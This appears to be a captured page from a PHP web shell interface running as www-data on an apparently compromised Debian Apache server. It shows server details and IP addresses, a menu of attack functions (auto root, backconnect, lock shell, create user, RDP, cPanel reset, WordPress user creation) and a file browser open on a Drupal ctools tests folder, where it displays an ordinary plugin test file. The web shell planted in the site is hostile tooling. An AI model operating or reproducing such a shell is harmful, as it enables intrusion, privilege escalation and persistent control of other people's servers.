Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.144.37.178
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
ctools_export_test
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
context.test
1.9
KB
-rw-r--r--
css.test
3.47
KB
-rw-r--r--
css_cache.test
1.11
KB
-rw-r--r--
ctools.drush.sh
2.59
KB
-rw-r--r--
ctools.plugins.test
3.96
KB
-rw-r--r--
ctools_plugin_test.info
509
B
-rw-r--r--
ctools_plugin_test.module
1.53
KB
-rw-r--r--
math_expression.test
6.35
KB
-rw-r--r--
math_expression_stack.test
1.79
KB
-rw-r--r--
object_cache.test
1.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ctools.plugins.test
<?php /** * @file * Tests for different parts of the ctools plugin system. */ /** * Test menu links depending on user permissions. */ class CtoolsPluginsGetInfoTestCase extends DrupalWebTestCase { public static function getInfo() { return array( 'name' => 'Get plugin info', 'description' => 'Verify that plugin type definitions can properly set and overide values.', 'group' => 'Chaos Tools Suite', ); } function setUp() { // Additionally enable contact module. parent::setUp('ctools', 'ctools_plugin_test'); } protected function assertPluginFunction($module, $type, $id, $function = 'function') { $func = ctools_plugin_load_function($module, $type, $id, $function); $this->assertTrue(function_exists($func), t('Plugin @plugin of plugin type @module:@type successfully retrieved @retrieved for @function.', array( '@plugin' => $id, '@module' => $module, '@type' => $type, '@function' => $function, '@retrieved' => $func, ))); } protected function assertPluginMissingFunction($module, $type, $id, $function = 'function') { $func = ctools_plugin_load_function($module, $type, $id, $function); $this->assertEqual($func, NULL, t('Plugin @plugin of plugin type @module:@type for @function with missing function successfully failed.', array( '@plugin' => $id, '@module' => $module, '@type' => $type, '@function' => $func, ))); } protected function assertPluginClass($module, $type, $id, $class = 'handler') { $class_name = ctools_plugin_load_class($module, $type, $id, $class); $this->assertTrue(class_exists($class_name), t('Plugin @plugin of plugin type @module:@type successfully retrieved @retrieved for @class.', array( '@plugin' => $id, '@module' => $module, '@type' => $type, '@class' => $class, '@retrieved' => $class_name, ))); } protected function assertPluginMissingClass($module, $type, $id, $class = 'handler') { $class_name = ctools_plugin_load_class($module, $type, $id, $class); $this->assertEqual($class_name, NULL, t('Plugin @plugin of plugin type @module:@type for @class with missing class successfully failed.', array( '@plugin' => $id, '@module' => $module, '@type' => $type, '@class' => $class, ))); } /** * Test that plugins are loaded correctly. */ function testPluginLoading() { ctools_include('plugins'); $module = 'ctools_plugin_test'; $type = 'not_cached'; // Test function retrieval for plugins using different definition methods. $this->assertPluginFunction($module, $type, 'plugin_array', 'function'); $this->assertPluginFunction($module, $type, 'plugin_array2', 'function'); $this->assertPluginMissingFunction($module, $type, 'plugin_array_dne', 'function'); $this->assertPluginFunction($module, "big_hook_$type", 'test1', 'function'); // Test class retrieval for plugins using different definition methods. $this->assertPluginClass($module, $type, 'plugin_array', 'handler'); $this->assertPluginClass($module, $type, 'plugin_array2', 'handler'); $this->assertPluginMissingClass($module, $type, 'plugin_array_dne', 'handler'); // TODO Test big hook plugins. $type = 'cached'; // Test function retrieval for plugins using different definition methods. $this->assertPluginFunction($module, $type, 'plugin_array', 'function'); $this->assertPluginFunction($module, $type, 'plugin_array2', 'function'); $this->assertPluginMissingFunction($module, $type, 'plugin_array_dne', 'function'); $this->assertPluginFunction($module, "big_hook_$type", 'test1', 'function'); // Test class retrieval for plugins using different definition methods. $this->assertPluginClass($module, $type, 'plugin_array', 'handler'); $this->assertPluginClass($module, $type, 'plugin_array2', 'handler'); $this->assertPluginMissingClass($module, $type, 'plugin_array_dne', 'handler'); // TODO Test big hook plugins. } }
Close